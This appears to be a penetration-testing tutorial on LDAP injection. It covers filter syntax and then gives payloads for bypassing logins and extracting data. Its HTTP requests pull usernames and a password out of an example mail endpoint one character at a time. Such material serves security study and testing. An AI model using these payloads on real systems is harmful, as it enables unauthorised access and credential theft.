LDAP Injection

Lightweight Directory Access Protocol (LDAP) is a protocol used to access directory servers such as Active Directory (AD) via queries to retrieve information. Web applications may use LDAP for integration with AD or other directory services for authentication or data retrieval purposes.

LDAP Fundamentals

Basic Terminology
Component
Description

Directory Server (DS)

The system that stores and manages directory data just like a database.

LDAP Entry

Represents a single entity (e.g., a user, group, or device) in the directory.

Distinguished Name (DN)

The unique identifier of an entry, made of one or more RDNs (e.g.uid=sfoffo,dc=example,dc=it).

Relative Distinguished Name (RDN)

A key–value pair that forms part of a DN (uid=sfoffo).

Attributes

Hold the data for an entry (e.g., name, department).

Object Classes

Defines sets of related attributes for a specific type of object.

LDAP Operations

LDAP defines operations, which are actions that the client can initiate:

Operation
Description

Bind

Client authentication with the server

Unbind

Close the client connection to the server

Add

Create a new entry

Delete

Delete an entry

Modify

Modify an entry

Search

Search for entries matching a search query

LDAP Search Filters (search queries)

LDAP search queries are called search filters. A search filter may consist of multiple components enclosed in parentheses (). Each base component consists of an attribute, an operand, and a value to search for.

Name
Operand
Example
Example Description

Equality

=

(name=Kaylie)

Matches all entries that contain a name attribute with the value Kaylie

Greater-Or-Equal

>=

(uid>=10)

Matches all entries that contain a uid attribute with a value greater-or-equal to 10

Less-Or-Equal

<=

(uid<=10)

Matches all entries that contain a uid attribute with a value less-or-equal to 10

Approximate Match

~=

(name~=Kaylie)

Matches all entries that contain a name attribute with approximately the value Kaylie

LDAP Search Operands and Values
Name
Operand
Example

And

(&()())

(&(name=Kaylie)(title=Manager))

Or

(|()())

(|(name=Kaylie)(title=Manager))

Not

(!())

(!(name=Kaylie))

Boolean Value
Filter

True

(&)

False

(|)

LDAP supports wildcards such as:

Wildcard Example
Example Description

(name=*)

Matches all entries that contain a name attribute

(name=S*)

Matches all entries that contain a name attribute that begins with S

(name=*s*)

Matches all entries that contain a name attribute that contains an s


Authentication Bypass

LDAP is commonly used to enable Active Directory users to access web applications. Considering an example of a web application that allows users to login using their username and password, we may suppose the underlying search query is:

(&(uid=input-username)(password=input-password))

This authentication mechanism can be bypassed in several ways:

Using Wildcards

If you know any valid username (such as admin), you might input:

username = admin
password = *

to gain the following query, allowing you to login as admin without their password:

(&(uid=admin)(password=*))

If you don't know any valid user, you can try using a wildcard for both parameters to make the search query return all users. This will most probably make you login as the first user returned by the query.

(&(uid=*)(password=*))

Without Wildcards

Wildcard operators might be blacklisted by the web application. In those cases, it is useful to leverage arithmetic logic units to create conditions that will always be true.

If you know a valid username (such as admin), you might input:

username = admin)(|(&
password = wrong)

You may also try guessing usernames, such as by looking for usernames containing the word "admin" in them leveraging a username payload such as username=*admin*)(|(&

Of course, this requires you to be able to inject wildcards.

To gain the following query:

(&(uid=admin)(|(&)(password=wrong))

Data Exfiltration

The easiest case of data exfiltration is when a search query displays the names of the entries displayed.

For example, consider you can input the uid parameter and the underlying query is the following

User Input:
 uid = admin
Resulting Query:
 (&(uid=admin)(objectClass=account))

You can easily retrieve all user's informations using a wildcard:

User Input:
 uid = *
Resulting Query:
 (&(uid=*)(objectClass=account))

Blind Exfiltration

Consider a web application that allows sending emails to users.

GET /mail.php?username=example&text=anything HTTP/1.1

If the provided username is valid, the web application responds with "Mail sent", otherwise it responds with a generic error, without providing any additional info. In that case, you can confirm whether an LDAP injection is in place by simply injecting a LDAP payload such as a wildcard:

GET /mail.php?username=*&text=anything HTTP/1.1

If the LDAP injection exists, the web application will respond with "Mail sent", sending the email to the first username it found from the matching query.

In this example, we can bruteforce valid usernames by using queries containing substrings, one character at a time, for example:

GET /mail.php?username=s*&text=anything HTTP/1.1
GET /mail.php?username=sf*&text=anything HTTP/1.1
GET /mail.php?username=sfo*&text=anything HTTP/1.1
GET /mail.php?username=sfof*&text=anything HTTP/1.1
GET /mail.php?username=sfoff*&text=anything HTTP/1.1
GET /mail.php?username=sfoffo&text=anything HTTP/1.1

Since the web application's response allows understanding whether the mail was sent, we can understand if a new character is valid.

After identifying a valid username, we may also try exfiltrating the user's password by injecting an AND clause that iterates again on the password attribute, for example:

GET /mail.php?username=sfoffo)(password=*&text=anything HTTP/1.1

If the email is successfully sent, the password attribute exists and can be injected, meaning you can proceed with the same iteration until you fully match the user's password.

GET /mail.php?username=sfoffo)(password=i*&text=anything HTTP/1.1
GET /mail.php?username=sfoffo)(password=it*&text=anything HTTP/1.1
GET /mail.php?username=sfoffo)(password=ita*&text=anything HTTP/1.1
GET /mail.php?username=sfoffo)(password=ital*&text=anything HTTP/1.1
GET /mail.php?username=sfoffo)(password=italy&text=anything HTTP/1.1